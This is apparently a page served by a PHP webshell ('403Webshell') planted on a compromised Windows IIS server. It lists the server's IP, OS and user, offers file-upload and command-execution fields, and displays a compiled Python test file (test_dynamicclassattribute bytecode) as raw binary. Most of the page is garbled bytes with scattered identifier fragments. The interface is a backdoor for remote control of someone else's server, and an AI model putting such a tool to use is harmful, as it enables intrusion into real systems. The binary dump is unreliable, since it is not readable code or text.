403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.220
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_dynamicclassattribute.cpython-315.opt-2.pyc
R
>lqja'c��]PHs]PHs]PHs]QHGsQQ\2sQQ\2sQQ\2sQQ	\2s	Q
Q\
2sQQ
\2sQQ\
2s
QQ\
2sQQ\2sQQ\
2sQQ\O"Q5sQQ\O"Q5sQQ\O(2sQQ\2sQQ \2sQ!Q"\O(2s\Q#6Xc\O42P!P!)$�)�DynamicClassAttributec��\sQs]	sQsP!)�PropertyBase���__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��4C:\Python315\\Lib\test\test_dynamicclassattribute.pyrr	���rrc��\sQs]sQsP!)�PropertyGetrrrrr
rrrrrc��\sQs]sQsP!)�PropertySetrrrrr
rrrrrc��\sQs]sQsP!)�PropertyDelrrrrr
rrrrrc�`�\sQs]snQs\Q2s\OQ2s\OQ2sQs	Us
P!)�	BaseClassc��]UmP!����_spam��selfs&r
�__init__�BaseClass.__init__s	����
rc��UO!�Nrrs&r
�spam�BaseClass.spam����z�z�rc��VmP!r!r�r�values&&r
r"r#s���
rc��U;P!r!rrs&r
r"r#"s���Jrr)rrr	r
rrr"�setter�deleterr�__classdictcell__��
__classdict__s@r
rrsN���������
�[�[����
�\�\���rrc�`�\sQs]&sn\O
Q*s\OQ2s\OQ2s\OQ2sQs
UsP!)�SubClassr"c�.�[UO2gr!)rrrs&r
r"�
SubClass.spam*s���$�*�*�%�%rc�.�[UO2gr!)rrr&s&&r
r"r1/����$�*�*�%�%rc�.�[UO2gr!)rrrs&r
r"r13r3rr)rrr	r
r�__dict__r"�getterr)r*rr+r,s@r
r/r/&s[�������f�%�D�	�[�[�&��&�
�[�[�&��&�
�\�\�&��&rr/c�@`�\sQs]7sn]sQs\\QQ5sQsUs	P!)�PropertyDocBasec��UO!r!rrs&r
�	_get_spam�PropertyDocBase._get_spam9s���z�z�r�spam spam spam)�docr)
rrr	r
rr:rr"rr+r,s@r
r8r87s����
�E�� ��0@�A�Drr8c�l`�\sQs]=sn\O
Q*s\OQ2sQsUs	P!)�PropertyDocSubr"c��UO!r!rrs&r
r"�PropertyDocSub.spam?r$rr)
rrr	r
r8r5r"r6rr+r,s@r
r?r?=s+�����#�#�F�+�D�	�[�[���rr?c�l`�\sQs]Dsn\O
Q*s\OQ2sQsUs	P!)�PropertySubNewGetterr"c��]!rrrs&r
r"�PropertySubNewGetter.spamF���rr)
rrr	r
rr5r"r6rr+r,s@r
rCrCDs+�������f�%�D�	�[�[���rrCc�V`�\sQs]Ksn\Q2s\OQ2sQsUsP!)�PropertyNewGetterc��]!��rrs&r
r"�PropertyNewGetter.spamLrFrc��]!)�rrs&r
r"rLPrFrr)	rrr	r
rr"r6rr+r,s@r
rHrHKs/��������
�[�[���rrHc�P`�\sQs]Usn\\OQ22sQsUs	P!)� ClassWithAbstractVirtualPropertyc��P!r!rrrr
�color�&ClassWithAbstractVirtualProperty.colorV���	
rr)
rrr	r
r�abc�abstractmethodrRrr+r,s@r
rPrPUs%��������
���
rrP)�	metaclassc�P`�\sQs][sn\O
\Q22sQsUs	P!)� ClassWithPropertyAbstractVirtualc��P!r!rrrr
rR�&ClassWithPropertyAbstractVirtual.color\rTrr)
rrr	r
rUrVrrRrr+r,s@r
rYrY[s%��������
���
rrYc�``�\sQs]asnQsQs\O\OO]6�Q2Q2s\O\OO]6�Q2Q2sQs
\O\OO]6�Q2Q2sQsQ	sQ
sUsP!)�
PropertyTestsc���[2oUOUO]2UOUO]2]
UmUOUO]
2UOUO]
2[	UQ2UOUQ2UOUQ2]UmUOUO]2UOUO]2P!)rr"r)r�assertEqualr"r�delattr�assertNotHasAttr�r�bases& r
�!test_property_decorator_baseclass�/PropertyTests.test_property_decorator_baseclassbs����{��������A�&�������Q�'���	�������B�'�������R�(���f�����d�F�+����d�G�,���	�������B�'�������R�(rc���[2oUO[[UQ2UO[[
UQP2UO[[UQ2P!)r")r/�assertRaisesr�getattrr�setattrrr`�r�subs& r
� test_property_decorator_subclass�.PropertyTests.test_property_decorator_subclassqsG���j�����+�w��V�<����+�w��V�T�B����+�w��V�<r�)Docstrings are omitted with -O2 and abovec��[2oUOUOOQ*OQ2P!)r"zSubClass.getter)r/r_�	__class__r5�__doc__rjs& r
�$test_property_decorator_subclass_doc�2PropertyTests.test_property_decorator_subclass_docxs1���j��������/�/��7�?�?�AR�Src��[2oUOUOOQ*OQ2P!)r"zBaseClass.getter)rr_rpr5rqrbs& r
�%test_property_decorator_baseclass_doc�3PropertyTests.test_property_decorator_baseclass_doc~s1���{��������0�0��8�@�@�BT�Urc��[2o[2oUOUOOQ*O
Q2UOUOOQ*O
Q2P!)r"r<)r8r?r_rpr5rq)rrcrks&  r
�test_property_decorator_doc�)PropertyTests.test_property_decorator_doc�s^��� �����������0�0��8�@�@�BR�S�������/�/��7�?�?�AQ�Rrc�|�[2oUOUO]2UOUOOQ*O
Q2[
2oUOUO]2UOUOOQ*O
Q2P!)rr"z
new docstring)rCr_r"rpr5rqrH)r�newgettersub�	newgetters&  r
�!test_property_getter_doc_override�/PropertyTests.test_property_getter_doc_override�s���,�-������*�*�A�.�����/�/�8�8��@�H�H�/�Z�%�'�	��������+�����,�,�5�5�f�=�E�E��Wrc�t``�P	P
,],PQ1FDKnU1QkQ[2oUOUOQ*O[	R22JM	QQ[2nUO[29^tt^2U1QkQ[2oPPP2P!)%fhP!9h)T�1c�J:`�\sQs]�snQsY\m\\2sQsUsP!)�EPropertyTests.test_property___isabstractmethod__descriptor.<locals>.Cc��P!r!rrs&r
�foo�IPropertyTests.test_property___isabstractmethod__descriptor.<locals>.C.foo����rr�	rrr	r
r��__isabstractmethod__rrr+)r-�vals@�r
�Cr��s�����+.��(�+�C�0�rr�r�c�,`�\sQs]�snQs\sQsUsP!)�KPropertyTests.test_property___isabstractmethod__descriptor.<locals>.NotBoolc��[2gr!)�
ValueErrorrs&r
�__bool__�TPropertyTests.test_property___isabstractmethod__descriptor.<locals>.NotBool.__bool__�s
�� �l�"rr)rrr	r
r��__len__rr+r,s@r
�NotBoolr��s����
#��Grr�c�T:`�\sQs]�snQsY2\m\\2sQsUsP!)r�c��P!r!rrs&r
r�r��r�rrr�)r-r�s@�r
r�r��s�����+2�9��(�+�C�0�r)�object�assertIsr5r��boolrgr�)rr�r�r�s& @@r
�,test_property___isabstractmethod__descriptor�:PropertyTests.test_property___isabstractmethod__descriptor�s�����%��a�S�"�c�2�C�
1�F�
1�

�M�M�!�*�*�U�+�@�@�$�s�)�L�
3�	�f�	��
�
�z�
*�
*�
1�F�
1�+�
*�
*�
*�s�	B&�&B7	�/B7	c���UO[[2UO[[2QQ[2oUO[U2QQ[2oUO[U2QQ[2oUO[29^tt^2UO
PPP2UO
U2O
Q2QQ[2oUO[29^tt^2UO
PPP2UO
U2O
Q	2P!)%fhK�9h)%fhKF9h)
c��\sQs]�sQsP!)�0PropertyTests.test_abstract_virtual.<locals>.APVrrrrr
�APVr�����rr�c��\sQs]�sQsP!)�0PropertyTests.test_abstract_virtual.<locals>.AVPrrrrr
�AVPr��r�rr�c�8`�\sQs]�sn\Q2sQsQsUsP!)�2PropertyTests.test_abstract_virtual.<locals>.Okay1c��UO!r!��_colorrs&r
rR�8PropertyTests.test_abstract_virtual.<locals>.Okay1.color�����{�{�"rc��QUmP!)�cyanr�rs&r
r�;PropertyTests.test_abstract_virtual.<locals>.Okay1.__init__�s	��$��rr��	rrr	r
rrRrrr+r,s@r
�Okay1r��s!����
"�
#�#�
#�
%�
%rr�r�c�8`�\sQs]�sn\Q2sQsQsUsP!)�2PropertyTests.test_abstract_virtual.<locals>.Okay2c��UO!r!r�rs&r
rR�8PropertyTests.test_abstract_virtual.<locals>.Okay2.color�r�rc��QUmP!)�magentar�rs&r
r�;PropertyTests.test_abstract_virtual.<locals>.Okay2.__init__�s	��'��rr�r�r,s@r
�Okay2r��s!����
"�
#�#�
#�
(�
(rr�r�)rg�	TypeErrorrPrY�AttributeErrorrRr_)rr�r�r�r�s&    r
�test_abstract_virtual�#PropertyTests.test_abstract_virtual�s������)�%E�F����)�%E�F�	�2�	����)�S�)�	�2�	����)�S�)�	%�4�	%��
�
�~�
.�
.��K�K�/���������/�	(�4�	(��
�
�~�
.�
.��K�K�/��������	�2�/�
.��/�
.�s$�,
E�
E�E	�E	�E)	�"E)	r)rrr	r
rdrl�unittest�skipIf�sys�flags�optimizerrrurxr}r�r�rr+r,s@r
r]r]as�����
)�=��_�_�S�Y�Y�'�'�1�,�@�B�T�B�T��_�_�S�Y�Y�'�'�1�,�@�B�V�B�V�S��_�_�S�Y�Y�'�'�1�,�@�B�X�B�X�1�,3�3rr]c��\sQs]�sQsP!)�PropertySubrrrrr
r�r��rrr�c��\sQs]�sQsQsP!)�PropertySubSlotsr)rrr	r
�	__slots__rrrr
r�r��s���Irr�c�`�\sQs]�sn\O
\\Q2Q2Q2s\O
\	OO]6�Q2Q2s\O
\	OO]6�Q2Q2s
\O
\	OO]6�Q2Q2sQsUsP!)	�PropertySubclassTestsrqz9__doc__ is already present, __slots__ will have no effectc�^�QQ[2o[Q2g[cP!h9h)c�X`�\sQs]�sn\Q2s\Q\O2QsUs	P!)�FPropertySubclassTests.test_slots_docstring_copy_exception.<locals>.Fooc��]!rJrrs&r
r"�KPropertySubclassTests.test_slots_docstring_copy_exception.<locals>.Foo.spam�s��r�
r)
rrr	r
r�r"�printrqrr+r,s@r
�Foor��s*����!��"���d�4�<�<�(�(rr�zAttributeError not raised)r��	Exceptionr��rr�s& r
�#test_slots_docstring_copy_exception�9PropertySubclassTests.test_slots_docstring_copy_exception�s5��
	9�
)�f�
)��7�8�8���	��	�s��	,�,�,rnc��QQ[2oUOUOQ*OQ2P!)c�2`�\sQs]�sn\Q2sQsUsP!)�6PropertySubclassTests.test_docstring_copy.<locals>.Fooc��]!rJrrs&r
r"�;PropertySubclassTests.test_docstring_copy.<locals>.Foo.spam����rr�rrr	r
r�r"rr+r,s@r
r�r�������
�
��
rr�r"�.spam wrapped in DynamicClassAttribute subclass�r�r_r5rqr�s& r
�test_docstring_copy�)PropertySubclassTests.test_docstring_copy�s3��	�&�	�
	
����L�L�� �(�(�<�	>rc�`�QQ[2nR2oUOUO]2]UmUOUO]2UOROQ*OQ2U1QkQR2oU2oUOUO]2]UmUOUOQ2UOUOQ*OQ2P!)c�\`�\sQs]�snQs\Q2s\OQ2sQsUs	P!)�OPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.Fooc��]UmP!rJrrs&r
r�XPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.Foo.__init__�s��Q��
rc��UO!r!rrs&r
r"�TPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.Foo.spam�s���z�z�!rc��VmP!r!rr&s&&r
r"r��s	��#�
rr)
rrr	r
rr�r"r)rr+r,s@r
r�r��s2����.�
�
"��
"��[�[�
#��
#rr�r"r�c�p:`�\sQsQsnYOQ*s\OQ2sQsUsP!)�RPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.FooSub�r"c��QUmP!)�eggsrr&s&&r
r"�WPropertySubclassTests.test_property_setter_copies_getter_docstring.<locals>.FooSub.spams��$��
rr)	rrr	r
r5r"r)rr+)r-r�s@�r
�FooSubr�s)�����<�<��'�D�
�[�[�
$��
$rr�r�)r�r_r"r5rq)rr�r��foosubr�s&   @r
�,test_property_setter_copies_getter_docstring�BPropertySubclassTests.test_property_setter_copies_getter_docstring�s����		#�&�		#��e��������1�%����������1�%�����L�L�� �(�(�<�	>�	$�S�	$����������a�(����������f�-�����O�O�F�#�+�+�<�	>rc�`�QQ[2oUOUOQ*OQ2QQ[2nU1QkQR2oUOUOQ*OQ2P!)c�V`�\sQsQsn\Q2s\OQ2sQsUsP!)�IPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.Foo�c��]!rJrrs&r
r"�NPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.Foo.spamr�rc��]!��rrs&r
r"r�r�rr)	rrr	r
r�r"r6rr+r,s@r
r�r�s/����
�
��
��[�[�
��
rr�r"za new docstringc�2`�\sQsQsn\Q2sQsUsP!)�MPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.FooBase�c��]!rJrrs&r
r"�RPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.FooBase.spamr�rrr�r,s@r
�FooBaser�r�rr�c�p:`�\sQsQsnYOQ*s\OQ2sQsUsP!)�JPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.Foo2�!r"c��]!r�rrs&r
r"�OPropertySubclassTests.test_property_new_getter_new_docstring.<locals>.Foo2.spam#r�rr)	rrr	r
r5r"r6rr+)r-r�s@�r
�Foo2r!s+�����#�#�F�+�D�
�[�[�
��
rrr�)rr�rr�s&  @r
�&test_property_new_getter_new_docstring�<PropertySubclassTests.test_property_new_getter_new_docstringsk���	�&�	�	
������f�-�5�5�7H�I�	�f�	�
	�7�	�	
������f�-�5�5�7H�Irr)rrr	r
r�r��hasattrr�r�r�r�r�r�r�rrr+r,s@r
r�r��s�����
�_�_�W�-�y�9�G�I�9�I�9��_�_�S�Y�Y�'�'�1�,�@�B�>�B�>��_�_�S�Y�Y�'�'�1�,�@�B�>�B�>�@�_�_�S�Y�Y�'�'�1�,�@�B�J�B�Jrr��__main__)rUr�r��typesrr�rrrrr�rr/r8r?rCrH�ABCMetarPrY�TestCaser]r�r�r�r�mainrrr
�<module>r
s���
��'�	�9�	�	�,�	�	�,�	�	�,�	����"&�y�&�"B�f�B��_���9�����
����
�
����
�c3�H�%�%�c3�N6�'�6��,��XJ�H�-�-�XJ�x�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit